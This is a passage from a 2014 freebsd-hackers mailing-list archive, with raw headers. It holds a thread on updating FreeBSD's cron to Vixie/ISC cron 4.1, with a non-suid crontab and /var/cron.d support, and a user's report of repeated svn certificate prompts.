a discussion on the OpenBSD mailing lists (there w= as > even a patch for this) but they don't like the idea :) maybe FreeBSD > project will like it, I don't know. > > At the moment I want to update FreeBSD cron to ISC cron (with all the > features that FreeBSD has at the moment and ISC does not have) and > integrate atrun into cron like it was done in OpenBSD cron. After that (o= r > faster who knows :)) maybe we should have a discussion about this idea. Sweet! Well, hm. How should we do it? Can we run both cron's in the same source tree and just pick which to build/install? They're both different crons, right? Or is there a common ancestor that makes the diff not so terrible? -a From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 23 18:28:57 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 25212DC4 for ; Mon, 23 Jun 2014 18:28:57 +0000 (UTC) Received: from mail-qa0-x229.google.com (mail-qa0-x229.google.com [IPv6:2607:f8b0:400d:c00::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id D3F85258E for ; Mon, 23 Jun 2014 18:28:56 +0000 (UTC) Received: by mail-qa0-f41.google.com with SMTP id cm18so6097785qab.14 for ; Mon, 23 Jun 2014 11:28:56 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=eitanadler.com; s=0xdeadbeef; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type:content-transfer-encoding; bh=LDmvy3bJznwxtw3Hk7/couiqvlMKPS+r1InWX5G4yU4=; b=D6K/H7p7e9B8u6Luzh7jCo6r0ClMgsF6UDkb6BNOFNDjt/3PbcPLVwl3eBI15O5aN5 tivtWxUryByCu3To/YI8Th0niATENFQqj3704vfDJZnPxHPT46/CABaDhxddYJnXjymM /LB7NQ2yTkSiT9ds5NeHROw+KZ2CA1jWAfvpA= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:from:date :message-id:subject:to:cc:content-type:content-transfer-encoding; bh=LDmvy3bJznwxtw3Hk7/couiqvlMKPS+r1InWX5G4yU4=; b=Fs1dW+jvV8cugS78cEZJfARcjeva5xZqRxYcCKXHKElH4jFe/tKjS5tDktAWZWrPFW 8tfr7pOPAmAMdEUm3tivnsRe4rGEaWbbV2xPyIpKGaJI7KCjQuyBm+LkuPq/mcpXJdu0 MvsLVGp8nnu2dJ4rttJAxlD+5gx9GGpEumfe4366FUnpaCtOb9nTgUJ/bFdQtDkjqIbe 6h4dRDV3h4tt78wKLzITRQxP6ZVjc5qSQy4zrklXr7LxA+1p9SZrkXVO9g1xJvchsN/A Znuya3TiCITKEN4FFB6EP6KrBWRiNdQkNCGLbleF1WNNgVAr65pZn0+xxwmBcd81M8nq UEHw== X-Gm-Message-State: ALoCoQmtoK/3M7KPRxG+kZs9Fkd2netQWeBkyy9h+gBUbRrDFVMkmEoij8R1qb5v1T+Iqc1QmMJ/ X-Received: by 10.140.47.245 with SMTP id m108mr34208021qga.9.1403548135935; Mon, 23 Jun 2014 11:28:55 -0700 (PDT) MIME-Version: 1.0 Received: by 10.96.222.131 with HTTP; Mon, 23 Jun 2014 11:28:25 -0700 (PDT) In-Reply-To: <53A82008.9050002@digiware.nl> References: <53A72666.8090101@cox.net> <53A78C13.8030909@freebsd.org> <53A82008.9050002@digiware.nl> From: Eitan Adler Date: Mon, 23 Jun 2014 11:28:25 -0700 Message-ID: Subject: Re: Improve cron(8) To: Willem Jan Withagen Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: freebsd-hackers@freebsd.org, Alfred Perlstein X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 23 Jun 2014 18:28:57 -0000 On 23 June 2014 05:39, Willem Jan Withagen wrote: > On 2014-06-23 4:08, Alfred Perlstein wrote: >> >> On 6/22/14 11:54 AM, John D. Hendrickson and Sara Darnell wrote: >>> >>> Eitan Adler wrote: >>>> >>>> +arch since hackers@ seems to be silent. >>>> >>>> On 11 June 2014 23:56, Tomek Wa=C5=82aszek wrot= e: >>>>> >>>>> Hello, >>>>> I saw on the FreeBSD Ideas page topic about cron :). >>>>> I've started updating the 'original' FreeBSD cron from sources to >>>>> vixi cron >>>>> 4.1. I think (well I hope :P) most of the features that were done in >>>>> FreeBSD cron are now ported into vixi cron 4.1, there are unfortunate= ly >>>>> some missing features at the moment: >>>>> - @every_second - this need to be done >>>>> - -s and -o, in vixi cron 4.1 daylight time switches are enabled by >>>>> default, at the moment there is no -s and -o options. So you need to >>>>> remove >>>>> '-s' from the cron rc script >>>>> >>>>> I've also added one feature from OpenBSD, crontab is poking cron usin= g >>>>> unix-domain socket so we don't need to have suid on crontab. >>>>> >>>>> Path is in the attachment. I'm testing it on my FreeBSD box and it >>>>> looks >>>>> good but anyway don't try it on production machines :). >>>>> >>>>> After the installation we have to do a few things: >>>>> - Add crontab group >>>>> - Change group to crontab on /var/cron/tabs >>>>> - Add sticky bit on /var/cron/tabs >>>>> - Add group write permissions on /var/cron/tabs >>>>> >>>>> This is still work in progress but if someone could have a look on >>>>> this and >>>>> give me some feedback it would be great. >>>>> >>>>> Regards, >>>>> Tomasz Walaszek > > > >>> >>> you should up the version number or start your own renamed application > > >> Tomek, please don't let messages like this dissuade you from >> participating. Please do continue this work, it seems very promising. >> Thank you! >> >> I was myself looking forward to having these additions. Very cool. > > > Hi Tomek, > > One of the things I like in some of the other cron's is the possibility t= o > add files to something like: /var/cron.d. > This as contract to /var/cron/tabs, where files need to and ar= e > executed under that users privilidges. > > Reason that this would be convenient is that tools like puppet don't need= to > start editing files to remove crontab lines. Which IMHO is always more ha= iry > then just adding/deleting/updating a file called: > /var/cron.d/tool-ABC.cron This is absolutely useful and has existed in every large scale envrionment I know of. --=20 Eitan Adler From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 23 19:05:20 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 41842A3B for ; Mon, 23 Jun 2014 19:05:20 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id 2D50B28EF for ; Mon, 23 Jun 2014 19:05:19 +0000 (UTC) Received: from u10-2-32-011.office.norse-data.com (unknown [50.204.88.51]) by elvis.mu.org (Postfix) with ESMTPSA id 3C2A51A3C3E; Mon, 23 Jun 2014 12:05:13 -0700 (PDT) Message-ID: <53A87A9B.8060201@freebsd.org> Date: Mon, 23 Jun 2014 12:06:03 -0700 From: Alfred Perlstein Organization: FreeBSD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Eitan Adler , Willem Jan Withagen Subject: Re: Improve cron(8) References: <53A72666.8090101@cox.net> <53A78C13.8030909@freebsd.org> <53A82008.9050002@digiware.nl> In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 23 Jun 2014 19:05:20 -0000 On 6/23/14, 11:28 AM, Eitan Adler wrote: > On 23 June 2014 05:39, Willem Jan Withagen wrote: >> On 2014-06-23 4:08, Alfred Perlstein wrote: >>> On 6/22/14 11:54 AM, John D. Hendrickson and Sara Darnell wrote: >>>> Eitan Adler wrote: >>>>> +arch since hackers@ seems to be silent. >>>>> >>>>> On 11 June 2014 23:56, Tomek WaĹ‚aszek wrote: >>>>>> Hello, >>>>>> I saw on the FreeBSD Ideas page topic about cron :). >>>>>> I've started updating the 'original' FreeBSD cron from sources to >>>>>> vixi cron >>>>>> 4.1. I think (well I hope :P) most of the features that were done in >>>>>> FreeBSD cron are now ported into vixi cron 4.1, there are unfortunately >>>>>> some missing features at the moment: >>>>>> - @every_second - this need to be done >>>>>> - -s and -o, in vixi cron 4.1 daylight time switches are enabled by >>>>>> default, at the moment there is no -s and -o options. So you need to >>>>>> remove >>>>>> '-s' from the cron rc script >>>>>> >>>>>> I've also added one feature from OpenBSD, crontab is poking cron using >>>>>> unix-domain socket so we don't need to have suid on crontab. >>>>>> >>>>>> Path is in the attachment. I'm testing it on my FreeBSD box and it >>>>>> looks >>>>>> good but anyway don't try it on production machines :). >>>>>> >>>>>> After the installation we have to do a few things: >>>>>> - Add crontab group >>>>>> - Change group to crontab on /var/cron/tabs >>>>>> - Add sticky bit on /var/cron/tabs >>>>>> - Add group write permissions on /var/cron/tabs >>>>>> >>>>>> This is still work in progress but if someone could have a look on >>>>>> this and >>>>>> give me some feedback it would be great. >>>>>> >>>>>> Regards, >>>>>> Tomasz Walaszek >> >> >>>> you should up the version number or start your own renamed application >> >>> Tomek, please don't let messages like this dissuade you from >>> participating. Please do continue this work, it seems very promising. >>> Thank you! >>> >>> I was myself looking forward to having these additions. Very cool. >> >> Hi Tomek, >> >> One of the things I like in some of the other cron's is the possibility to >> add files to something like: /var/cron.d. >> This as contract to /var/cron/tabs, where files need to and are >> executed under that users privilidges. >> >> Reason that this would be convenient is that tools like puppet don't need to >> start editing files to remove crontab lines. Which IMHO is always more hairy >> then just adding/deleting/updating a file called: >> /var/cron.d/tool-ABC.cron > This is absolutely useful and has existed in every large scale > envrionment I know of. Agreed, it would be a huge step forward for FreeBSD. From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 23 19:33:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9C47F689; Mon, 23 Jun 2014 19:33:39 +0000 (UTC) Received: from mail-oa0-x22b.google.com (mail-oa0-x22b.google.com [IPv6:2607:f8b0:4003:c02::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4A4662BA8; Mon, 23 Jun 2014 19:33:39 +0000 (UTC) Received: by mail-oa0-f43.google.com with SMTP id o6so10806366oag.2 for ; Mon, 23 Jun 2014 12:33:38 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=i4QBwQTT0YutgKQ58HMAWB7e68EkbOJdmE5YazTdrXE=; b=fx04nrJ2qvwIy1QfH4CfKL43exQOKKeymgWxVRg55R0OzL6O0dNIYAv9TL9skfe6rT 7bx+uajejf0H/Hrzl/xQNwszxUKFOc+5s8aDZOdPCQJlAAgddgGy3eIUKbrhs6ptqYAp G9H9tDwMC704NIv6f+0aMWEPwa9fDzwZqAjsc4PWM0nf8wdwG9EAt9sWzb9zAf2+1mK5 X9WDTSQfDVA/M6uSVey+0BbvyY6t0oB+nsg0GueWCNj+/NkO7OCrKEZ1+lBE2iXIz/cY NUubMp0q3RZMeDgnPO+qeZev8pNn+56IuuXBfxkJKwwPTzdIQY1XQ6iXBjBZHPSw2CKx vw9A== MIME-Version: 1.0 X-Received: by 10.60.141.67 with SMTP id rm3mr4445441oeb.78.1403552018500; Mon, 23 Jun 2014 12:33:38 -0700 (PDT) Received: by 10.76.154.8 with HTTP; Mon, 23 Jun 2014 12:33:38 -0700 (PDT) In-Reply-To: References: <53A72666.8090101@cox.net> <53A78C13.8030909@freebsd.org> <53A82008.9050002@digiware.nl> Date: Mon, 23 Jun 2014 21:33:38 +0200 Message-ID: Subject: Re: Improve cron(8) From: =?UTF-8?Q?Tomek_Wa=C5=82aszek?= To: Adrian Chadd Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" , Willem Jan Withagen , Alfred Perlstein X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 23 Jun 2014 19:33:39 -0000 2014-06-23 18:53 GMT+02:00 Adrian Chadd : > On 23 June 2014 06:26, Tomek Wa=C5=82aszek wrote: > > > Hello, > > I got your point. > > From the technical perspective it should be quite easy to implement thi= s > > feature, but I'm not sure whether this will get positive feedback. I > > remeber that there was a discussion on the OpenBSD mailing lists (there > was > > even a patch for this) but they don't like the idea :) maybe FreeBSD > > project will like it, I don't know. > > > > At the moment I want to update FreeBSD cron to ISC cron (with all the > > features that FreeBSD has at the moment and ISC does not have) and > > integrate atrun into cron like it was done in OpenBSD cron. After that > (or > > faster who knows :)) maybe we should have a discussion about this idea. > > Sweet! > > Well, hm. How should we do it? Can we run both cron's in the same > source tree and just pick which to build/install? They're both > different crons, right? Or is there a common ancestor that makes the > diff not so terrible? > > > -a > Hi, I don't quite follow you, who said that there will be cron's? There will be one cron, from the functional perspective it will work just like it is working now. The main differences will be that for example crontab will not have suid, atrun will be integrated and it will for example has the ability to run jobs from files in /var/cron.d but this will be not mandatory feature to use, /etc/crontab will stay. --=20 Best regards, Tomasz Wa=C5=82aszek From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 23 19:48:23 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 126E9E5; Mon, 23 Jun 2014 19:48:23 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 8E56E2D05; Mon, 23 Jun 2014 19:48:22 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s5NJmG8B005353; Mon, 23 Jun 2014 22:48:16 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s5NJmG8B005353 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.8/Submit) id s5NJmG2Y005352; Mon, 23 Jun 2014 22:48:16 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Mon, 23 Jun 2014 22:48:15 +0300 From: Konstantin Belousov To: Tomek Wa??aszek Subject: Re: Improve cron(8) Message-ID: <20140623194815.GQ93733@kib.kiev.ua> References: <53A72666.8090101@cox.net> <53A78C13.8030909@freebsd.org> <53A82008.9050002@digiware.nl> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="G+DT6X5ssgZ56VG3" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: "freebsd-hackers@freebsd.org" , Adrian Chadd , Willem Jan Withagen , Alfred Perlstein X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 23 Jun 2014 19:48:23 -0000 --G+DT6X5ssgZ56VG3 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Jun 23, 2014 at 09:33:38PM +0200, Tomek Wa??aszek wrote: > 2014-06-23 18:53 GMT+02:00 Adrian Chadd : >=20 > > On 23 June 2014 06:26, Tomek Wa??aszek wrote: > > > > > Hello, > > > I got your point. > > > From the technical perspective it should be quite easy to implement t= his > > > feature, but I'm not sure whether this will get positive feedback. I > > > remeber that there was a discussion on the OpenBSD mailing lists (the= re > > was > > > even a patch for this) but they don't like the idea :) maybe FreeBSD > > > project will like it, I don't know. > > > > > > At the moment I want to update FreeBSD cron to ISC cron (with all the > > > features that FreeBSD has at the moment and ISC does not have) and > > > integrate atrun into cron like it was done in OpenBSD cron. After that > > (or > > > faster who knows :)) maybe we should have a discussion about this ide= a. > > > > Sweet! > > > > Well, hm. How should we do it? Can we run both cron's in the same > > source tree and just pick which to build/install? They're both > > different crons, right? Or is there a common ancestor that makes the > > diff not so terrible? > > > > > > -a > > >=20 > Hi, > I don't quite follow you, who said that there will be cron's? There will = be > one cron, from the functional perspective it will work just like it is > working now. The main differences will be that for example crontab will n= ot > have suid, atrun will be integrated and it will for example has the abili= ty > to run jobs from files in /var/cron.d but this will be not mandatory > feature to use, /etc/crontab will stay. Could you, please, explain the methodology you use to ensure that all local FreeBSD modifications to out version of the Vixie' cron are carried forward together with the update ? We do not used the vendor imports/contrib workflow for the cron, so FreeBSD-specific modifications are just sit there. The history on head/usr.sbin/cron is huge, there is a lot of private changes for the old codebase. --G+DT6X5ssgZ56VG3 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTqIR/AAoJEJDCuSvBvK1BC5UQAIYJowCxSiIgWFAW3dk2UqP7 3hx2fTve7eMGqL67BMZk48qpn9VuFBQDINVqDFYZceWq5eZwCjEDL193NE3HgCZg bjc+0sGDb5W46F1btfHHDYs2qMKTu4UBzP4VnSuICrB22fHlEXDbvzcgDcrMIY22 Zg6gSV0wuCJ+geHbu1sLU9xUSZdMrw01O34Y4+BmqaW8Ulist7Za4sr3qtIGUXcY npkktLJa74MYEb35FcXAbJrPulcVjGRkNFBLDVCtc8DFqsD4vi0VuMRzkjfAZ5C0 ct9EuIvl24Yf6JobPDQ9aVRIFLHDlSUuXz36gvnLA3T9V2h4DqT1dmVA/ZcalJ5u cdtATqAOEaoeUraU9qG1QkZ201A2NRpvdZLkkAgiFYWG3H1VsAHlqktqBXvPCzpZ lDHgVBnTfAWQ8SRE+IvTxYl2Qh3P3UmDdwdro6I/fSC4Q0ag22vy5K8bZUctrXko 8/ncb7QdK5hPzMXusRkzQN3t2Ca9o/LvB0UrYS5r55nfOknHxwRiIZWpqEfn6JtN 8jgcId2y9TXcKBd/KVTgRyPbGz+VCiZBrPOeRM+fiESx3ZWEDGtnzW/efSRo9seg kcSQF3+dqzt2xuVlUL5RZvx1THDc6Osqy40+O0GlBqeTfcgttxjgYQps6FZgDsl8 Rmz+QloTqB6E5J42h2YB =iTmE -----END PGP SIGNATURE----- --G+DT6X5ssgZ56VG3-- From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 23 19:50:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EB7D1240 for ; Mon, 23 Jun 2014 19:50:11 +0000 (UTC) Received: from smtp10.hushmail.com (smtp10.hushmail.com [65.39.178.143]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "smtp.hushmail.com", Issuer "Self-signed" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id C9CAB2D20 for ; Mon, 23 Jun 2014 19:50:11 +0000 (UTC) Received: from smtp10.hushmail.com (localhost [127.0.0.1]) by smtp10.hushmail.com (Postfix) with SMTP id 42E1AC0131 for ; Mon, 23 Jun 2014 19:50:05 +0000 (UTC) Received: from smtp.hushmail.com (w5.hushmail.com [65.39.178.80]) by smtp10.hushmail.com (Postfix) with ESMTP for ; Mon, 23 Jun 2014 19:50:05 +0000 (UTC) Received: by smtp.hushmail.com (Postfix, from userid 99) id 1A0C4203AB; Mon, 23 Jun 2014 19:50:05 +0000 (UTC) MIME-Version: 1.0 Date: Mon, 23 Jun 2014 12:50:04 -0700 To: freebsd-hackers@freebsd.org Subject: svn freebsd repo oddity From: falcon17@hushmail.com In-Reply-To: <1403452699.20883.290.camel@revolution.hippie.lan> References: <20140622115633.E847320185@smtp.hushmail.com> <1403452699.20883.290.camel@revolution.hippie.lan> Message-Id: <20140623195005.1A0C4203AB@smtp.hushmail.com> Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 23 Jun 2014 19:50:12 -0000 I updated subversion to 1.8.9 recently, and now I get some strange behavior with accepting certs, but only with the freebsd repository. So, I am used to accepting a cert when checking out a new repo. But now, not only do I get the R/T/P prompt, but later there is a R/T-only prompt! Then, even worse, it prompts again later from the same checkout, even tho the cert looks the same! Also, in previous runs I tried accepting permanently, and still had this issue. what the heck is going on? # /usr/s/bin/svn co https://svn0.us-east.freebsd.org/base/stable/10 srcError validating server certificate for 'https://svn0.us-east.freebsd.org:443': - The certificate is not issued by a trusted authority. Use the fingerprint to validate the certificate manually!Certificate information: - Hostname: svnmir.ysv.FreeBSD.org - Valid: from Jul 29 22:01:21 2013 GMT until Dec 13 22:01:21 2040 GMT - Issuer: clusteradm, FreeBSD.org, CA, US(clusteradm@FreeBSD.org) - Fingerprint: 1C:BD:85:95:11:9F:EB:75:A5:4B:C8:A3:FE:08:E4:02:73:06:1E:61(R)eject, accept (t)emporarily or accept (p)ermanently? tError validating server certificate for 'https://svn0.us-east.freebsd.org:443': - The certificate has an unknown error.Certificate information: - Hostname: svnmir.ysv.FreeBSD.org - Valid: from Jul 29 22:01:21 2013 GMT until Dec 13 22:01:21 2040 GMT - Issuer: clusteradm, FreeBSD.org, CA, US(clusteradm@FreeBSD.org) - Fingerprint: 1C:BD:85:95:11:9F:EB:75:A5:4B:C8:A3:FE:08:E4:02:73:06:1E:61(R)eject or accept (t)emporarily? tError validating server certificate for 'https://svn0.us-east.freebsd.org:443': - The certificate is not issued by a trusted authority. Use the fingerprint to validate the certificate manually!Certificate information: - Hostname: svnmir.ysv.FreeBSD.org - Valid: from Jul 29 22:01:21 2013 GMT until Dec 13 22:01:21 2040 GMT - Issuer: clusteradm, FreeBSD.org, CA, US(clusteradm@FreeBSD.org) - Fingerprint: 1C:BD:85:95:11:9F:EB:75:A5:4B:C8:A3:FE:08:E4:02:73:06:1E:61(R)eject, accept (t)emporarily or accept (p)ermanently? tError validating server certificate for 'https://svn0.us-east.freebsd.org:443': - The certificate has an unknown error.Certificate information: - Hostname: svnmir.ysv.FreeBSD.org - Valid: from Jul 29 22:01:21 2013 GMT until Dec 13 22:01:21 2040 GMT - Issuer: clusteradm, FreeBSD.org, CA, US(clusteradm@FreeBSD.org) - Fingerprint: 1C:BD:85:95:11:9F:EB:75:A5:4B:C8:A3:FE:08:E4:02:73:06:1E:61(R)eject or accept (t)emporarily? tA src/sysA src/sys/netsmbA src/sys/gnuA src/sys/gnu/fsA src/sys/gnu/fs/reiserfsA src/sys/i386A src/sys/i386/biosA src/sys/i386/isaA src/sys/i386/svr4A src/sys/i386/linuxError validating server certificate for 'https://svn0.us-east.freebsd.org:443': - The certificate is not issued by a trusted authority. Use the fingerprint to validate the certificate manually!Certificate information: - Hostname: svnmir.ysv.FreeBSD.org - Valid: from Jul 29 22:01:21 2013 GMT until Dec 13 22:01:21 2040 GMT - Issuer: clusteradm, FreeBSD.org, CA, US(clusteradm@FreeBSD.org) - Fingerprint: 1C:BD:85:95:11:9F:EB:75:A5:4B:C8:A3:FE:08:E4:02:73:06:1E:61(R)eject, accept (t)emporarily or accept (p)ermanently? tError validating server certificate for 'https://svn0.us-east.freebsd.org:443': - The certificate has an unknown error.Certificate information: - Hostname: svnmir.ysv.FreeBSD.org - Valid: from Jul 29 22:01:21 2013 GMT until Dec 13 22:01:21 2040 GMT - Issuer: clusteradm, FreeBSD.org, CA, US(clusteradm@FreeBSD.org) - Fingerprint: 1C:BD:85:95:11:9F:EB:75:A5:4B:C8:A3:FE:08:E4:02:73:06:1E:61(R)eject or accept (t)emporarily? tA src/sys/netsmb/smb_conn.hA src/sys/netsmb/netbios.h From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 23 19:51:32 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5AC3C420; Mon, 23 Jun 2014 19:51:32 +0000 (UTC) Received: from smtp.digiware.nl (unknown [IPv6:2001:4cb8:90:ffff::3]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id A4EE12DB2; Mon, 23 Jun 2014 19:51:31 +0000 (UTC) Received: from rack1.digiware.nl (unknown [127.0.0.1]) by smtp.digiware.nl (Postfix) with ESMTP id 35AEE1534C4; Mon, 23 Jun 2014 21:51:27 +0200 (CEST) X-Virus-Scanned: amavisd-new at digiware.nl Received: from smtp.digiware.nl ([127.0.0.1]) by rack1.digiware.nl (rack1.digiware.nl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id sZInf7Ki51v8; Mon, 23 Jun 2014 21:51:25 +0200 (CEST) Received: from [IPv6:2001:4cb8:3:1:daa2:5eff:fe4e:36d2] (unknown [IPv6:2001:4cb8:3:1:daa2:5eff:fe4e:36d2]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by smtp.digiware.nl (Postfix) with ESMTPS id 193971534C0; Mon, 23 Jun 2014 21:51:25 +0200 (CEST) References: <53A72666.8090101@cox.net> <53A78C13.8030909@freebsd.org> <53A82008.9050002@digiware.nl> <53A87A9B.8060201@freebsd.org> In-Reply-To: <53A87A9B.8060201@freebsd.org> Mime-Version: 1.0 (1.0) Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=utf-8 Message-Id: <7A2B44CF-DF48-46C7-9ACE-313E7DF5412B@digiware.nl> X-Mailer: iPad Mail (9B206) From: Willem Jan Withagen Subject: Re: Improve cron(8) Date: Mon, 23 Jun 2014 21:51:31 +0200 To: Alfred Perlstein Cc: Eitan Adler , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 23 Jun 2014 19:51:32 -0000 Op 23 jun. 2014 om 21:06 heeft Alfred Perlstein het vol= gende geschreven: >=20 > On 6/23/14, 11:28 AM, Eitan Adler wrote: >> On 23 June 2014 05:39, Willem Jan Withagen wrote: >>> On 2014-06-23 4:08, Alfred Perlstein wrote: >>>> On 6/22/14 11:54 AM, John D. Hendrickson and Sara Darnell wrote: >>>>> Eitan Adler wrote: >>>>>> +arch since hackers@ seems to be silent. >>>>>>=20 >>>>>> On 11 June 2014 23:56, Tomek Wa=C5=82aszek wro= te: >>>>>>> Hello, >>>>>>> I saw on the FreeBSD Ideas page topic about cron :). >>>>>>> I've started updating the 'original' FreeBSD cron from sources to >>>>>>> vixi cron >>>>>>> 4.1. I think (well I hope :P) most of the features that were done in= >>>>>>> FreeBSD cron are now ported into vixi cron 4.1, there are unfortunat= ely >>>>>>> some missing features at the moment: >>>>>>> - @every_second - this need to be done >>>>>>> - -s and -o, in vixi cron 4.1 daylight time switches are enabled by >>>>>>> default, at the moment there is no -s and -o options. So you need to= >>>>>>> remove >>>>>>> '-s' from the cron rc script >>>>>>>=20 >>>>>>> I've also added one feature from OpenBSD, crontab is poking cron usi= ng >>>>>>> unix-domain socket so we don't need to have suid on crontab. >>>>>>>=20 >>>>>>> Path is in the attachment. I'm testing it on my FreeBSD box and it >>>>>>> looks >>>>>>> good but anyway don't try it on production machines :). >>>>>>>=20 >>>>>>> After the installation we have to do a few things: >>>>>>> - Add crontab group >>>>>>> - Change group to crontab on /var/cron/tabs >>>>>>> - Add sticky bit on /var/cron/tabs >>>>>>> - Add group write permissions on /var/cron/tabs >>>>>>>=20 >>>>>>> This is still work in progress but if someone could have a look on >>>>>>> this and >>>>>>> give me some feedback it would be great. >>>>>>>=20 >>>>>>> Regards, >>>>>>> Tomasz Walaszek >>>=20 >>>=20 >>>>> you should up the version number or start your own renamed application= >>>=20 >>>> Tomek, please don't let messages like this dissuade you from >>>> 